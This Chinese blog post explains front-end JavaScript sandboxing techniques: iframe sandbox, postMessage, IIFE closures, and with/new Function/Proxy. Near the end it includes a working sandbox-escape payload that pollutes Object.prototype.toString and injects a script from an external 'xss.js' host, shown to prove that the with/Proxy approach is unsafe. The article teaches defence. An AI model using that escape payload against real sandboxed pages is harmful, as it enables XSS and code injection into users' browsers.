• home > webfront > SGML > web >

    再谈沙箱:前端所涉及的沙箱细讲

    Author:zhoulujun Date:

    实现沙箱的方案有 eval,new Function,立即执行函数,闭包,with,ES6 Proxy,web Worker,iframe sandbox模式,简单直接用立即执行函数包一层解决,更加谨慎的做法是采用iframe。切断与当前文档的联系。接下来就是iframe的通信问题了

    沙箱或称沙盒,即sandbox,顾名思义,就是让程序跑在一个隔离的环境下,不对外界的其他程序造成影响,外界无法修改该环境内任何信息,沙箱内的东西单独属于一个世界,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。

    浏览器上JavaScript就是在沙盒中执行,严格控制的环境。沙箱将JavaScript与桌面世界隔离开来。例如,JavaScript代码无法直接访问文件系统,显示器或任何硬件。更严重的是,它切断了JavaScript与Web服务器上所有内容的联系,例如存储用户列表和产品目录的数据库以及运行业务逻辑的服务器端代码。

    JS中沙箱的使用场景

    前端JS中也会有应用到沙箱的时候,毕竟有时候你要获取到的是第三方的JS文件或数据?而这数据又是不一定可信的时候,创建沙箱,做好保险工作尤为重要。第二,防止全局变量出现,模拟块级作用域。

    • jsonp:解析服务器所返回的jsonp请求时,如果不信任jsonp中的数据,可以通过创建沙箱的方式来解析获取数据;(TSW中处理jsonp请求时,创建沙箱来处理和解析数据);、

    • 执行第三方js:当你有必要执行第三方js的时候,而这份js文件又不一定可信的时候;

    • 在线代码编辑器:相信大家都有使用过一些在线代码编辑器,而这些代码的执行,基本都会放置在沙箱中,防止对页面本身造成影响,例如:https://codesandbox.io/s/new

    • vue的服务端渲染:vue的服务端渲染实现中,通过创建沙箱执行前端的bundle文件;在调用createBundleRenderer方法时候,允许配置runInNewContext为true或false的形式,判断是否传入一个新创建的sandbox对象以供vm使用;

    • vue模板中表达式计算:vue模板中表达式的计算被放在沙盒中,只能访问全局变量的一个白名单,如 Math 和 Date 。你不能够在模板表达式中试图访问用户定义的全局变量。

    总而言之:

    1. 要解析或执行不可信的JS的时候,

    2. 要隔离被执行代码的执行环境的时候,

    3. 要对执行代码中可访问对象进行限制的时候

    如何实现/使用沙箱

    实现沙箱最方便的模式iframe,同理,也可以使用webWorker。因为iframe隔离的更彻底。Worker虽然无法读取DOM对象,但是可以读取BOM的 navigator与location对象与XMLHttpRequest对象。具体参看《Web Worker 使用教程

    借助iframe实现沙箱

    sandbox是h5的提出的一个新属性, 启用方式就是在iframe标签中使用sandbox属性:

    这是目前比较通用的前端实现沙箱的方案,假如你要执行的代码不是自己写的代码,不是可信的数据源,那么务必要使用iframe沙箱。

    这也会带来一些限制:

    • script脚本不能执行

    • 不能发送ajax请求

    • 不能使用本地存储,即localStorage,cookie等

    • 不能创建新的弹窗和window

    • 不能发送表单

    • 不能加载额外插件比如flash等

    我们可以配置iframe sandbox 模式

    描述
    ""应用以下所有的限制。
    allow-same-origin允许 iframe 内容被视为与包含文档有相同的来源。
    allow-top-navigation允许 iframe 内容从包含文档导航(加载)内容。
    allow-forms允许表单提交。
    allow-scripts允许脚本执行。

    然后我们利用 postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了

    通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。

    注意事项

    1. 在子页面中不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。

    2. 当你使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候你需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。

    3. 当你调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制


    借助立即执行函数或闭包函数

    // jQuery当中的沙箱模式
    (function (win) {
    // 在沙箱中将所有变量的定义放在最上方(一般不使用全局变量),中间就放一些逻辑代码
    // 如果需要,就给外界暴露一些成员(通过window)
      var itcast = {
        getEle: function () {
          // TODO
        }
      }
      // 如果需要在外界暴露一些属性或者方法,就可以将这些属性和方法,加到window全局对象上去
      // 但是这window全局对象不可以直接使用,因为直接使用会破坏沙箱原则
      // 所以我们选择使用传参的形式将 window对象 传入沙箱内
      // 此时沙箱内使用window对象的时候,不会再去全局搜索window对象
      // 而使用的就是沙箱内部定义的形参
      win.itCast = win.$ = itcast  // 不要直接使用window(破坏沙箱原则),而是使用win形参。
    })(window)

    为什么要使用立即执行函数表达式(IIFE),因为IIFE不会在外界暴露任何的全局变量,但是又可以形成一个封闭的空间,刚好可以实现沙箱模式。但是这个沙箱还是可以访问或修改外部环境变量。并不是一个独立世界。这个并不是一个完全的

    借助with + new Function

    想要通过eval和function直接执行一段代码,这是不现实的,因为代码内部可以沿着作用域链往上找,篡改全局变量

    EcmaScript规范上说“with 语句用于设置代码在特定对象中的作用域”,可以看出,With语句改变了作用域链。

    在编译时不能确定with语句块中的变量是其传入对象的属性还是上一层变量作用域链中的变量。

    这与严格模式有编译时就检查变量是否定义冲突,所以严格模式不会允许异已存在,因此严格模式禁用With语句

    具体可以阅读《JavaScript中 with的用法》,我是从不用with

    可以使用with API,在with的块级作用域下,变量访问会优先查找你传入的参数对象,之后再往上找,所以相当于你变相监控到了代码中的“变量访问”。接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:

    function compileCode (src) {
      src = `with (exposeObj) { ${src} }`
      return new Function('exposeObj', src)
    }
    
    function proxyObj (originObj) {
      let exposeObj = new Proxy(originObj, {
        has: (target, key) => {
          if (['console', 'Math', 'Date'].indexOf(key) >= 0) {
            return target[key]
          }
          if (!target.hasOwnProperty(key)) {
            throw new Error(`Illegal operation for key ${key}`)
          }
          return target[key]
        }
      })
      return exposeObj
    }
    
    function createSandbox (src, obj) {
      let proxy = proxyObj(obj)
      compileCode(src).call(proxy, proxy) // 绑定this 防止this访问window
    }
    
    const testObj = { value: 1, a: { b: 1 } }
    createSandbox('value=\'haha\';console.log(a)', testObj)

    当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.__proto__就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。

    createSandbox(`a.b.__proto__.toString = ()=>{ new (()=>{}).constructor("var script = document.createElement('script'); script.src = 'http://xss.js'; script.type = 'text/javascript'; document.body.appendChild(script);")()}`, testObj)
    console.log(testObj.a.b.__proto__.toString())

    例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码;由于在内部定义执行的函数代码逻辑,仍然会沿着作用于链查找,为了绕开作用域链的查找,笔者通过访问箭头函数的constructor的方式拿到了构造函数Function,这个时候,Funtion内所执行的xss代码,在执行的时候,便不会再沿着作用域链往上找,而是直接在全局作用域下执行,通过这样的方式,实现了沙箱逃逸以及xss攻击。

    你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过__proto__查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:

    ({}).__proto__.toString= ()=>{console.log(111)};

    可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法



    参考文章:

    构建一个安全的 JavaScript 沙箱 https://www.barretlee.com/blog/2016/08/23/javascript-sandbox/

    写js沙箱原来如此简单 https://my.oschina.net/ivweb/blog/872949

    说说JS中的沙箱 https://segmentfault.com/a/1190000020463234

    JavaScript 沙箱模式 https://blog.csdn.net/houyanhua1/article/details/79849210



    转载本站文章《再谈沙箱:前端所涉及的沙箱细讲》,
    请注明出处:https://www.zhoulujun.cn/html/webfront/SGML/web/2020_0520_8435.html